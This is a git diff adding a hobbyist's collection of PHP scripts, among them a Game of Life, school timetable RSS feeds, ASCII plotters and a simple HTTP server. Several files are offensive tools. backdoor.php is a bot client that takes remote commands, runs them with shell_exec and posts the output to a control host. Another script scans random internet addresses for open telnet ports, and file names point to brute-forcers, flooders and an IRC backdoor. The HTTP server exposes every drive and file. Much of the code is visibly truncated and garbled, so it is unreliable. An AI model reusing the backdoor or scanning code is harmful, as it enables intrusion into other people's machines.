= str_replace("1", $pop, $line); + $life[$i] = $line; + $i++; + } + return $life; +} + +// +function life_print($life) { + foreach($life as $line) { + $line = str_replace($GLOBALS["populated"], $GLOBALS["prpop"], $line); + $line = str_replace($GLOBALS["unpopulated"], $GLOBALS["prunp"], $line); + echo($line."|\r\n"); + } +} + +// +function life_neighs($life, $line, $char) { + @$neighs = ""; + @$neighs = $neighs.$life[$line][$char+1]; + @$neighs = $neighs.$life[$line][$char-1]; + @$neighs = $neighs.$life[$line+1][$char+1]; + @$neighs = $neighs.$life[$line+1][$char-1]; + @$neighs = $neighs.$life[$line+1][$char]; + @$neighs = $neighs.$life[$line-1][$char+1]; + @$neighs = $neighs.$life[$line-1][$char-1]; + @$neighs = $neighs.$life[$line-1][$char]; + return $neighs; +} + +// +function life_neighs_num($life, $line, $char) { + $neighs = life_neighs($life, $line, $char); + $neighs = ereg_replace("(\.| |0|_|-)", "", $neighs); //Unpopulated chars: . 0_- + $neighs = strlen($neighs); + //echo($neighs); //Debug + return $neighs; +} + +// +function life_next($life) { + + $pop = $GLOBALS["populated"]; + $unp = $GLOBALS["unpopulated"]; + $old_life = $life; + + foreach($life as $lnum => $line) { + //echo($lnum); //Debug + for($i = 0;$i < strlen($line);$i++) { + $neigh_num = 0; + $neigh_num = life_neighs_num($old_life, $lnum, $i); + //echo($lnum."-".$i."=".$neigh_num."\n"); //Debug + if($old_life[$lnum][$i] == $pop) { + if($neigh_num == 2 || $neigh_num == 3) { $life[$lnum][$i] = $pop; } else { $life[$lnum][$i] = $unp; } + } + else + { + if($neigh_num == 3) { $life[$lnum][$i] = $pop; } + } + } + } + return $life; + +} + +// +function cls() { + //Clear screen + for($i = 0; $i < 20;$i++) echo("\r\n"); +} + +///CODE/////////////////////////////////////////////////////////////////////////////// + +//Settings +$life = life_load("spacefiller.cells"); //Load life +//$life = life_randomize(30, 60); //Randomize life +$populated = "#"; //File format populated +$unpopulated = "."; //File format unpopulated +$prpop = "Û"; //chr(219); //Print chars populated +$prunp = " "; //Print chars unpopulated +$sleep = 1; //sleep in seconds +$usleep = 200000; //sleep in microseconds + +/* +$i = 0; +while($i < 220) { echo($i."-".chr($i)."\n"); $i++; } +*/ + +//Run +$backup_life = $life; +$old_life = ""; +$generation = 1; +while($old_life != $life) { //While moving + $old_life = $life; + echo("Generation: ".$generation."\r\n"); + life_print($life); + //cls(); //Shifting + $life = life_next($life); + //sleep($sleep); + //usleep($usleep); + $generation++; +} + + +?> diff --git a/php/game-of-life/life.txt b/php/game-of-life/life.txt new file mode 100644 index 0000000..8e10592 --- /dev/null +++ b/php/game-of-life/life.txt @@ -0,0 +1,14 @@ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +--------##########------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ diff --git a/php/game-of-life/spacefiller.cells b/php/game-of-life/spacefiller.cells new file mode 100644 index 0000000..530662c --- /dev/null +++ b/php/game-of-life/spacefiller.cells @@ -0,0 +1,55 @@ +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +..................................................#........................................ +.................................................###....................................... +............................................###....##...................................... +...........................................#..###..#.##.................................... +..........................................#...#.#..#.#..................................... +..........................................#....#.#.#.#.##.................................. +............................................#....#.#...##.................................. +................................####.....#.#....#...#.###.................................. +................................#...##.#.###.##.........##................................. +................................#.....##.....#............................................. +.................................#..##.#..#..#.##.......................................... +.......................................#.#.#.#.#.#.....####................................ +.................................#..##.#..#..#..##.#.##...#................................ +................................#.....##...#.#.#...##.....#................................ +................................#...##.#.##..#..#..#.##..#................................. +................................####.....#.#.#.#.#.#....................................... +..........................................##.#..#..#.##..#................................. +.............................................#.....##.....#................................ +.................................##.........##.###.#.##...#................................ +..................................###.#...#....#.#.....####................................ +..................................##...#.#....#............................................ +..................................##.#.#.#.#....#.......................................... +.....................................#.#..#.#...#.......................................... +....................................##.#..###..#........................................... +......................................##....###............................................ +.......................................###................................................. +........................................#.................................................. +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... diff --git a/php/location.php b/php/location.php new file mode 100644 index 0000000..194f34a --- /dev/null +++ b/php/location.php @@ -0,0 +1 @@ +//Header('Location: '.(($_SERVER['HTTPS'] != '') ? 'https://' : 'http://').'logout-'.md5(rand()).'@'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['PHP_SELF']); \ No newline at end of file diff --git a/php/mc b/php/mc new file mode 100755 index 0000000..47e3967 --- /dev/null +++ b/php/mc @@ -0,0 +1,26 @@ +#!/usr/bin/php + array("pipe", "r"), // stdout + 1 => array("pipe", "w"), // stdin + //2 => array("pipe", "r") // stderr + //2 => array("file", "./error-output.txt", "a") // stderr is a file to write to +); + +$cwd = '~/'; + +$process = proc_open($command, $descriptorspec, $pipes, $cwd, $_ENV); +$stdin = fopen('php://stdin', 'r'); + +stream_set_blocking($pipes[0], 0); +stream_set_blocking($pipes[1], 0); +//stream_set_blocking($pipes[2], 0); +stream_set_blocking($stdin, 0); + +while(!feof($pipes[0]) && !feof($pipes[1])) { + echo(fgetc($pipes[1])); + fwrite($pipes[0], fgetc($stdin)); +} \ No newline at end of file diff --git a/php/phpbb_member_sucker.php b/php/phpbb_member_sucker.php new file mode 100644 index 0000000..718a231 --- /dev/null +++ b/php/phpbb_member_sucker.php @@ -0,0 +1,13 @@ +=16 && $ip[1]<=31) return 1; + if($ip[0]==192 && $ip[1]==168) return 1; + return 0; +} + +function scan_check($ip, $port=80, $timeout = 0.4) { + $fp = @fsockopen($ip, $port, $errno, $errstr, $timeout); + if($fp) return 1; +} + +//while(1) echo(ip_range(ip_rand())."\n"); + + +while(1) { + if(ip_range($ip = ip_rand())) continue; + if(scan_check($ip, 23)) echo($ip."\n"); + //echo($ip.' - '.gethostbyaddr($ip)."\n"); //Debug +} +/* +24-bit block 10.0.0.0 - 10.255.255.255 +20-bit block 172.16.0.0 - 172.31.255.255 +16-bit block 192.168.0.0 - 192.168.255.255 +*/ \ No newline at end of file diff --git a/php/rozvrh.atom.phps b/php/rozvrh.atom.phps new file mode 100755 index 0000000..dd6ce16 --- /dev/null +++ b/php/rozvrh.atom.phps @@ -0,0 +1,78 @@ +\n"); + echo("\t$id\n"); + echo("\t" . strftime("%Y-%m-%dT%H:%M:%SZ", $update) . "\n"); + echo("\t$title\n"); + echo("\t\n"); + echo("\t$desc\n"); + echo("\n\n"); + } + echo(' version="1.0" encoding="UTF-8"?> + + Změny v rozvrhu SSPÅ  + Aktuální změny v rozvrhu SSPÅ  + + http://www.ssps.cz/favicon.ico + tag:ssps.cz,2008: + + SSPÅ  + +]+>', iconv('WINDOWS-1250', 'UTF-8', file_get_contents($url))); + $date = 0; + $update = 0; + $lastUpdate = 0; + + ob_start(); + + foreach($feed as $line) { + $line = trim($line); + if($line == '' || eregi('rozvrhy', $line)) continue; + + # Last update? + if (eregi("^Aktualizováno: (..)\.(..)\.(....) (..:..:..)$", $line, $r)) + { + $update = strtotime("{$r[3]}-{$r[2]}-{$r[1]} {$r[4]}"); + + # This is the last update of the whole feed + if ($lastUpdate < $update) + $lastUpdate = $update; + continue; + } + + # What day are we reading? + if (eregi("^[^ ]+ (..)\.(..)\.(....)$", $line, $r)) + { + $date = strtotime("{$r[3]}-{$r[2]}-{$r[1]}"); + continue; + } + + # Found a line about our class + if ($date && eregi($croom, $line)) + { + $days = array('Ne', 'Po', 'Út', 'St', 'Čt', 'Pá', 'So'); + $wday = localtime($date, TRUE); + $wday = $days[$wday['tm_wday']]; + atomPrintItem($wday . strftime(" %d.%m. ", $date) . $line, + "tag:ssps.cz," . strftime("%Y-%m-%d:", $date) . md5($line), + $update, $url, $line); + } + } + $feed = ob_get_contents(); + ob_end_clean(); + # Must appear before the items + echo ("\t" . strftime("%Y-%m-%dT%H:%M:%SZ", $lastUpdate) . "\n"); + echo $feed; +?> + + diff --git a/php/rozvrh.rss.php b/php/rozvrh.rss.php new file mode 100644 index 0000000..213cbb8 --- /dev/null +++ b/php/rozvrh.rss.php @@ -0,0 +1,36 @@ +', '', $line); + $line = str_replace(' ', ' ', $line); + $line = trim($line); + //echo("\n"); + break; + } +} + +echo(''); +?> + + +Zmeny v rozvrhu SSPS +http://www.ssps.cz/pages/rozvrhy/index.php +Aktualni zmeny v rozvrhu SSPS +cs + + + <?php echo($line); ?> + http://www.ssps.cz/pages/rozvrhy/index.php + + + + + + diff --git a/php/rozvrh.rss.phps b/php/rozvrh.rss.phps new file mode 100755 index 0000000..e723eda --- /dev/null +++ b/php/rozvrh.rss.phps @@ -0,0 +1,33 @@ +\n"); + echo("\t$title\n"); + echo("\t$link\n"); + echo("\t$desc\n"); + echo("\n\n"); + } +?> + version="1.0" encoding="UTF-8"?> + +Zmeny v rozvrhu SSPS + +Aktualni zmeny v rozvrhu SSPS +cs + +', iconv('WINDOWS-1250', 'UTF-8', file_get_contents($url))); + + foreach($feed as $line) { + $line = trim($line); + if($line == '' || eregi('rozvrhy', $line)) continue; + if(eregi($croom, $line)) rss_add_item($line, $url); + } + +?> + + diff --git a/php/skripty/NE_tcp_service_checker.php b/php/skripty/NE_tcp_service_checker.php new file mode 100644 index 0000000..1046a21 --- /dev/null +++ b/php/skripty/NE_tcp_service_checker.php @@ -0,0 +1,26 @@ + diff --git a/php/skripty/ascii.php b/php/skripty/ascii.php new file mode 100644 index 0000000..16bff66 --- /dev/null +++ b/php/skripty/ascii.php @@ -0,0 +1,19 @@ +/* +Generates Ascii table (By Harvie 2oo6) +*/ + + diff --git a/php/skripty/backdoor.php b/php/skripty/backdoor.php new file mode 100644 index 0000000..6c64765 --- /dev/null +++ b/php/skripty/backdoor.php @@ -0,0 +1,111 @@ + $val) $postdata .= '&'.$key.'='.$val; + +$http_response = post('localhost', '/PHP/zombiefeed.php', $postdata); + +///////////////////////////////////////////////////// + +function shellf($command) { + $shellout = shell_exec($command); + post($feedhost, $feedpath, $shellout); + echo ($shellout); //Debug + } + +function autodestruct() { + echo("KILLED BY MY MASTER !!!\n\n"); + //System("del this1234567889.exe"); + //System("shutdown -s"); +} + +////////////////////////////////////////////////////////////////// + +//Debug: +//readfile("http://harvie.stokoruna.cz/"); +//shellf("dir"); + +//GET SAVED SETTINGS: +if ( $fp = fopen($lastf, "r") ) { //Check if settings file exists + $temp = fgets($fp); + fclose($fp); //Close settings file + //Parse saved settings: + $temp = explode( " ", trim($temp) ); + $last = $temp[0]; + $interval = $temp[1]; + //echo($fp); //Debug + } + +/* +echo("last: $last\n"); //Debug +echo("interval: $interval\n"); //Debug +*/ + +while(1) { //Listen on interface + $in = file($file); //Read commands from interface + if( $last < trim($in[0]) ) { //Command number check + + //Parse commands from interface to variables: + $last = trim($in[0]); + $interval = trim($in[1]); + $command = trim($in[2]); + $download = trim($in[3]); + $downloadto = trim($in[4]); + + //Save settings: + $fp = fopen($lastf, "w+"); + fwrite($fp, ("$last $interval") ); + fclose($fp); + +///////WORK WITH RECIEVED COMMANDS//////////////////////////////// + + if ($command == "_autodestruct") + { autodestruct(); } + + echo("last: $last\n"); + echo("interval: $interval\n"); + echo("command: $command\n"); + echo("Download what: $download\n"); + echo("Download where: $downloadto\n"); + + echo("-------------------------------------------------------------------------\n"); + +///////REPLY TO SERVER//////////////////////////////////////////// + + //readfile($reply); + +////////////////////////////////////////////////////////////////// + + } + sleep($interval); //Pause +} + +?> diff --git a/php/skripty/bdscan.php b/php/skripty/bdscan.php new file mode 100644 index 0000000..c91d096 --- /dev/null +++ b/php/skripty/bdscan.php @@ -0,0 +1,83 @@ +#!/usr/bin/php + "CLASS.Name", + 21 => "SRV.FTP Service", + 22 => "SRV.Secure Shell Service", + 23 => "SRV.Telnet Service", + 24 => "BD.Harvie's NetCat BackDoor", + 80 => "SRV.HTTP Service", + 8080 => "SRV.HTTP Service", + + 113 => "WRM.Korgo.F", + 903 => "BD.NetDevil", + 1080 => "WRM.MyDoom.B, MyDoom.F, MyDoom.G, MyDoom.H", + 2283 => "WRM.Dumaru.Y", + 2535 => "WRM.Beagle.W, Beagle.X, other Beagle/Bagle variants", + 2745 => "WRM.Bagle", + 3067 => "WRM.Korgo.F", + 3127 => "WRM.My_Doom.A", + 3128 => "WRM.MyDoom.B", + 3140 => "BD.OptixPro.13 and variants", + 5554 => "WRM.Sasser through Sasser.C, Sasser.F", + 6129 => "RM.DameWare", + 8866 => "WRMBeagle.B", + 9898 => "WRM.Dabber.A and Dabber.B", + 9996 => "WRM.Sasser", + 10000 => "WRM.Dumaru.Y", + 10080 => "WRM.MyDoom.B", + 12345 => "BD.NetBus", + 16661 => "BD.HaxDoor", + 17300 => "BD.Kuang, Kuang2", + 27347 => "BD.SubSeven", + 27374 => "BD.SubSeven", + 65506 => "BOT.PhatBot, Agobot, Gaobot" + ); + +///SCAN/////////////////////////////////////////////////////// +echo("Harvie's BackDoor PortScanner\n"); +echo("[u] Usage: bdscan [host] [timeout]\n"); +echo("[i] Timeout is set to $timeout s\n"); +echo("[i] Scanning $host for backdoors and basic services...\n\n"); + +foreach($ports as $port => $bd) { + $sock = @pfsockopen($host, $port, $errno, $err, $timeout); + if($sock) { + echo("[!] $port : $bd\n"); + $found = true; + } else { + //echo("[-] $port : $bd\n"); + } +} + +if(isset($found)) { + echo("\n[!] Services listed above found...\n"); +} else { + echo("[i] No BackDoors/services found...\n"); +} +echo("[i] Finished...\n"); + +///SUX_PARSER///////////////////////////////////////////////// +/* +$fp = fopen("bdports.txt", "r"); +while(!feof($fp)) { + $line = trim(fgets($fp)); + $line = explode("\t", $line, 2); + $line[0] = trim($line[0]); + $line[1] = trim($line[1]); + //print_r($line); + echo(" ".$line[0]." => \"".$line[1]."\",\r\n"); +} +*/ diff --git a/php/skripty/bigflood.php b/php/skripty/bigflood.php new file mode 100644 index 0000000..4e1d2cd --- /dev/null +++ b/php/skripty/bigflood.php @@ -0,0 +1,25 @@ + + +*/ diff --git a/php/skripty/bruteForcer.php b/php/skripty/bruteForcer.php new file mode 100644 index 0000000..bd891a5 --- /dev/null +++ b/php/skripty/bruteForcer.php @@ -0,0 +1,90 @@ + diff --git a/php/skripty/bruteforcer2.php b/php/skripty/bruteforcer2.php new file mode 100644 index 0000000..9f6744c --- /dev/null +++ b/php/skripty/bruteforcer2.php @@ -0,0 +1,25 @@ + diff --git a/php/skripty/char_case_brute.php b/php/skripty/char_case_brute.php new file mode 100644 index 0000000..7bc9ca9 --- /dev/null +++ b/php/skripty/char_case_brute.php @@ -0,0 +1,62 @@ + 0;$len--) { + $mask = $mask."1"; +} //echo($mask); + +$i = base_convert($mask, 2, 10); //echo($i); +while(1) { + $mask = base_convert($i, 10, 2); + $mask = fill_notset($mask, $len, "b"); + if(strlen($mask) > strlen($str) || $i < 0) { die(); } + + //Regular + $str = $origstr; + for ($len = $origlen-1;$len>=0;$len--) { + if(isset($mask[$len]) && $mask[$len] == "1") { + $str[$len] = str2upper($str[$len]); + } + } echo($mask); + echo("$str\n"); + + /*/Reversed + $mask = str_replace(array("0","1"), array("1","0"), $mask); + $str = $origstr; + for ($len = $origlen-1;$len>=0;$len--) { + if(isset($mask[$len]) && $mask[$len] == "1") { + $str[$len] = str2upper($str[$len]); + } + } //echo($mask); + echo("$str\n"); + */ + +$i--; +} diff --git a/php/skripty/cmd.php b/php/skripty/cmd.php new file mode 100644 index 0000000..9fa6e48 --- /dev/null +++ b/php/skripty/cmd.php @@ -0,0 +1,23 @@ + diff --git a/php/skripty/cpuload.php b/php/skripty/cpuload.php new file mode 100644 index 0000000..ab311a2 --- /dev/null +++ b/php/skripty/cpuload.php @@ -0,0 +1,42 @@ + array("pipe", "r"), // stdin is a pipe that the child will read from + 1 => array("pipe", "w"), // stdout is a pipe that the child will write to + 2 => array("pipe", "r") // stderr is a file to write to +); + +$proc[$ind] = proc_open("proctest.exe", $desc, $pipes); +$ind = ($ind + 1); + +//////////////////////////////////////////////////////////////// + + $b = getmicrotime(); + $c = round(($b - $a), 10); + echo($c."\n"); + + } + +echo("end"); +system("taskkill /f /im proctest.exe"); +echo("OK"); +?> diff --git a/php/skripty/crdemo.php b/php/skripty/crdemo.php new file mode 100644 index 0000000..b81037f --- /dev/null +++ b/php/skripty/crdemo.php @@ -0,0 +1,8 @@ + 3) { $i = 0; } +} diff --git a/php/skripty/decode_binary_text.php b/php/skripty/decode_binary_text.php new file mode 100644 index 0000000..5ca9d72 --- /dev/null +++ b/php/skripty/decode_binary_text.php @@ -0,0 +1,357 @@ += 16) { echo("\n"); $nl = 0; } +} +echo("\n"); + +?> diff --git a/php/skripty/dir_tree.php b/php/skripty/dir_tree.php new file mode 100644 index 0000000..24f746f --- /dev/null +++ b/php/skripty/dir_tree.php @@ -0,0 +1,49 @@ +Soubory v $directory :

\n
    "); + + $dirfp = opendir ($directory); + $leveli = $level; + while($leveli) { echo("-"); $leveli--; } + echo "[DIR] $directory\n"; + while (false!==($file = readdir($dirfp))) + { + if ($file != "." && $file != "..") + { + if (is_dir($directory.$file)) + { + echo("\n"); + $leveli = $level; + while($leveli < 0) { echo("-"); $leveli--; } + //echo "-[DIR] $file\n"; + dir_tree("$directory$file\\", ($level+2)); + echo("\n"); + } + else + { + $leveli = $level; + while($leveli + 1) { echo("-"); $leveli--; } + echo "$file - ($directory$file)\n"; + //$num = ($num + 1); + } + } + } + closedir($dirfp); + +} + +//CODE + +$dir = ("D:\\Webdesign\\"); +echo("FreeSpace: ".(disk_free_space($dir)/1000000)." MB /".(disk_total_space($dir)/1000000)." MB\n"); +dir_tree($dir, 0); + +?> diff --git a/php/skripty/fce.php b/php/skripty/fce.php new file mode 100644 index 0000000..225239d --- /dev/null +++ b/php/skripty/fce.php @@ -0,0 +1,65 @@ +/n" + +//Settings: +$start = 0; //0 //First X +$step = 0.1; //0.1 //Increase X on every line by this number +$reset = 6.2; //When X >= reset, then it will be reseted to zero +$zoom = 1; //1 //This will repeat every line few times +$sleep = "15000"; //15000 - Wait between lines in microseconds +$line = (" "); // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay). +$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline). + +//Function: +//You can specify yours function here: +function func($x) { + +$offset = 1.1; //1.1 //1 //0 -> Zero offset will draw only half of sin curve. +$width = 35; //20 //35 //40 //This will stretch every line. + +$y = ( (sin($x) + $offset) * $width ); +//echo("Debug: ".$x." ".$y." "); //Debug +return ($y); + +} + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n"); +echo ("0| y\n"); +echo ("-|--------------------------------------------->\n"); +echo ("x|\n"); +echo (" V\n\n"); + +sleep(2); + +$pos = $start; +while(1) { + + usleep($sleep); //Wait in microseconds + + $znaku = func($pos); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + $pos = ($pos + $step); + if ($pos >= $reset) { + $pos = 0; + } + +} +?> diff --git a/php/skripty/find_recursive.php b/php/skripty/find_recursive.php new file mode 100644 index 0000000..28bace3 --- /dev/null +++ b/php/skripty/find_recursive.php @@ -0,0 +1,29 @@ +
    +$directory\n

    $directory

    \n"); + $files=opendir ($directory); + while (false!==($file = readdir($files))) + { + if ($file != "." && $file != "..") + { + if(is_dir($directory.$file)) echo("[DIR] "); + //echo "$directory$file\n"; + echo "$directory$file\n"; + $GLOBALS["num"] = ($GLOBALS["num"] + 1); + if(is_dir($directory.$file)) dir_scan($directory.$file.$slash,$slash); + } + } + closedir($files); + +} + +///CODE//////////////////////// +$num = "0"; +dir_scan("x:\\", "\\"); +echo("\nTotal: $num\n"); +?> +
    diff --git a/php/skripty/fork.php b/php/skripty/fork.php new file mode 100644 index 0000000..4be575e --- /dev/null +++ b/php/skripty/fork.php @@ -0,0 +1,12 @@ + diff --git a/php/skripty/grep.php b/php/skripty/grep.php new file mode 100644 index 0000000..6a1b097 --- /dev/null +++ b/php/skripty/grep.php @@ -0,0 +1,35 @@ + diff --git a/php/skripty/httget.php b/php/skripty/httget.php new file mode 100644 index 0000000..22710f6 --- /dev/null +++ b/php/skripty/httget.php @@ -0,0 +1,10 @@ + diff --git a/php/skripty/http_serv.php b/php/skripty/http_serv.php new file mode 100644 index 0000000..e08813a --- /dev/null +++ b/php/skripty/http_serv.php @@ -0,0 +1,61 @@ + + diff --git a/php/skripty/http_server.php b/php/skripty/http_server.php new file mode 100644 index 0000000..6c4c559 --- /dev/null +++ b/php/skripty/http_server.php @@ -0,0 +1,163 @@ +#!usr/bin/php + 1) $port = trim($argv[1]); + if($argc > 2) $interface = trim($argv[2]); +} + +///FUNCTIONS////////////////////////////////////////////////////////////////////// +function send_dir_listing($fp, $directory) { + $num = "0"; + //Header + @fwrite($fp, "\nIndex of $directory\n\n"); + @fwrite($fp, "Available volumes:
    \n"); + + //Special folders + @fwrite($fp, "[/]\n"); //Server root + @fwrite($fp, "[//]\n"); //Unix root (if running unix) + + //Available volumes + $dsks = "cdefghijklmnopqrstuvwxyz"; //Show this volumes (if available) + for($i=0;$i$vol:]\n"); + } + //echo($dsks[$i].":"); + } + @fwrite($fp, "
    \n\n"); + + //Directory listing + @fwrite($fp, "Directory listing of $directory :

    \n\n"); + @fwrite($fp, "[DIR] Parent Directory (../)
    \n"); + $files=opendir ($directory); + while (false!==($file = readdir($files))) + { + if ($file != "." && $file != "..") + { + $num++; + if(is_dir("$directory/$file")) { + fwrite($fp, "$num - [DIR] $file
    \n"); + } else { + fwrite($fp, "$num - $file
    \n"); + } + } + } + + //Footer + fwrite($fp, "
    \nTotal: $num\n
    \n"); +} + +///CODE/////////////////////////////////////////////////////////////////////////// +echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n"); +//system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only +set_time_limit(0); +$sss = stream_socket_server("tcp://$interface:$port"); + +while(1) { + @$sfp = stream_socket_accept($sss); + if(!$sfp) continue; + + $loop = 1; + while($sfp && !@feof($sfp) && $loop) { + $line = fgets($sfp); + //echo($line); + if(eregi("(GET|POST)", $line)) { + $line = trim($line); + //echo($line); + $line = explode(" ", $line); + + $line[1] = trim(urldecode($line[1])); + + + if($line[1] == "/") { + $line[1] = "./"; + } else { + $line[1] = substr($line[1], 1); + } + + + if(is_file($line[1])) { //200 OK FILE + fwrite($sfp, $okheader); + echo("200 ".$line[1]); + $fp = fopen($line[1], "rb"); + while( fwrite($sfp, fgets($fp)) ); + @fclose($sfp); + echo(" SENT!\n"); + } + + elseif(is_dir($line[1])) { //200 OK DIR + if(substr($line[1], strlen($line[1])-1) != "/") { //301 MOV DIR + $header = ("/".$line[1]."/"); + echo("301 ".$line[1]." -> $header\n"); + $header = str_replace("%DIR%", $header, $dirheader); + //$header = str_replace("./", "./", $dirheader); + //echo($header); + fwrite($sfp, $header); + @fclose($sfp); + break; + } + echo("200 [DIR] ".$line[1]."\n"); + send_dir_listing($sfp, $line[1]); + } + + else { //404 NOT FOUND + echo("404 ".$line[1]."\n"); + fwrite($sfp, $badheader); + fwrite($sfp, $err404); + @fclose($sfp); + } + + $loop = 0; + } + } + @fclose($sfp); +} + +?> diff --git a/php/skripty/http_server_old.php b/php/skripty/http_server_old.php new file mode 100644 index 0000000..f99cc70 --- /dev/null +++ b/php/skripty/http_server_old.php @@ -0,0 +1,88 @@ +#!usr/bin/php + 1) $port = trim($argv[1]); + if($argc > 2) $interface = trim($argv[2]); +} + +echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n"); +//system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only +set_time_limit(0); +$sss = stream_socket_server("tcp://$interface:$port"); + +while(1) { + @$sfp = stream_socket_accept($sss); + if(!$sfp) continue; + + $loop = 1; + while($sfp && !@feof($sfp) && $loop) { + $line = fgets($sfp); + //echo($line); + if(eregi("(GET|POST)", $line)) { + $line = trim($line); + //echo($line); + $line = explode(" ", $line); + + $line[1] = urldecode($line[1]); + + if($line[1] == "/") { + $line[1] = $index; + } else { + $line[1] = substr($line[1], 1); + } + + if(is_file($line[1])) { //200 OK + fwrite($sfp, $okheader); + echo("200 ".$line[1]."\n"); + $fp = fopen($line[1], "rb"); + while( fwrite($sfp, fgets($fp)) ); + @fclose($sfp); + } else { //404 NOT FOUND + echo("404 ".$line[1]."\n"); + fwrite($sfp, $badheader); + fwrite($sfp, $err404); + @fclose($sfp); + } + + $loop = 0; + } + } + @fclose($sfp); +} + +?> diff --git a/php/skripty/integrity_check.php b/php/skripty/integrity_check.php new file mode 100644 index 0000000..27e51f8 --- /dev/null +++ b/php/skripty/integrity_check.php @@ -0,0 +1,10 @@ +0;$cycles--) { + $last_md5 = $md5; + if( ($md5 = md5_file($file)) != $last_md5 ) { return 0; } + } + return 1; +} diff --git a/php/skripty/irc_bdoor.php b/php/skripty/irc_bdoor.php new file mode 100644 index 0000000..2dc3f34 --- /dev/null +++ b/php/skripty/irc_bdoor.php @@ -0,0 +1,162 @@ + diff --git a/php/skripty/irc_bot.php b/php/skripty/irc_bot.php new file mode 100644 index 0000000..396a76e --- /dev/null +++ b/php/skripty/irc_bot.php @@ -0,0 +1,180 @@ + diff --git a/php/skripty/jyxobot.php b/php/skripty/jyxobot.php new file mode 100644 index 0000000..dcdc278 --- /dev/null +++ b/php/skripty/jyxobot.php @@ -0,0 +1,82 @@ +", $line) && ereg(" class=ri", $line)) { + $line = explode("
    $line
    \n"); //XHTML Output + $results[$i] = $line; + $i++; + } + + } + } + fclose($fp); + } + echo("\nTotal: $i\n"); //Sumary Output + return $results; +} + +// +function download_url_array($results, $download_dir) { + //$download_dir = $GLOBALS["download_dir"]; + $fails = 0; $done = 0; + echo("\nDownloading to $download_dir ...\n"); + if(!is_dir($download_dir)) { + echo("Creating directory: $download_dir\n\n"); + mkdir($download_dir); + } else { echo("\n"); } + foreach($results as $id => $url) { + $file = url2filename($url); + echo("Downloading $file (#$id)... "); + $file = "$download_dir\\$file"; + if(!is_file($file) && @copy($url, $file)) { + echo("Done.\n"); + $done++; + } else { + if(is_file($file)) { echo("File already exists "); } + echo("Failed!\n"); + $fails++; + } + } + $totaldls = ($fails+$done); + echo("\n$done/$totaldls files successfully downloaded to $download_dir ($fails failed)\n"); +} + +///CODE////////////////////////////////////////////////////////////////////////////////////// +$results = jyxo_bot("xavier baumaxa","mm","(.mp3|.ogg)",""); //Text2Search +//print_r($results); //Array Output +//var_dump($results); //Detail debug output +//download_url_array($results, "X:\\JyxoBot"); //Automatic Download + +?> diff --git a/php/skripty/lomena.php b/php/skripty/lomena.php new file mode 100644 index 0000000..b732647 --- /dev/null +++ b/php/skripty/lomena.php @@ -0,0 +1,85 @@ +/n" + +//Settings: +$start = -3; //0 //First X +$zero = 0; //Zero line +$stop = 0.5; //Last X +$step = 0.1; //0.1 //Increase X on every line by this number +$reset = "0"; //When X >= reset, then it will be reseted to $resetto (use "" to disable reset). +$resetto = "0.1"; //$resetto +$zoom = 1; //1 //This will repeat every line few times +$sleep = "15000"; //15000 - Wait between lines in microseconds +$line = (" "); // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay). +$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline). + +//Function: +//You can specify your function here: +function func($x) { + +$offset = 20; //1.1 //1 //0 -> Zero offset will draw only half of sin curve. +$width = 1; //20 //35 //40 //This will stretch every line. + +$y = ( ( (3 / $x) + $offset) * $width ); +//echo("Debug: ".$x." ".$y." "); //Debug +return ($y); + +} + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n"); +echo (" | y\n"); +echo ("-|--------------------------------------------->\n"); +echo ("x|\n"); +echo (" V\n\n"); + +sleep(2); + +//Set x to $start: +$pos = $start; + +//Drawing: +while(1) { + + //usleep($sleep); //Wait in microseconds + + $znaku = func($pos); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + //Draw: Y axis: + //echo(" ".$pos."\n"); //Debug + if ($pos == $zero) { + echo("-+------------------------------------------------------------>\n"); + } + + //Increase X: + $pos = ($pos + $step); + + //Reset (for neverending curves, etc...): + if ( ($pos >= $reset) && ($reset != "") ) { + $pos = $resetto; + } + + //Stop if $stop is reached: + if ($pos > $stop) { + die(); + } + +} +?> diff --git a/php/skripty/lyrics_bot.php b/php/skripty/lyrics_bot.php new file mode 100644 index 0000000..72f8e08 --- /dev/null +++ b/php/skripty/lyrics_bot.php @@ -0,0 +1,49 @@ +" ); + while( ($line = trim(fgets($fp))) != "
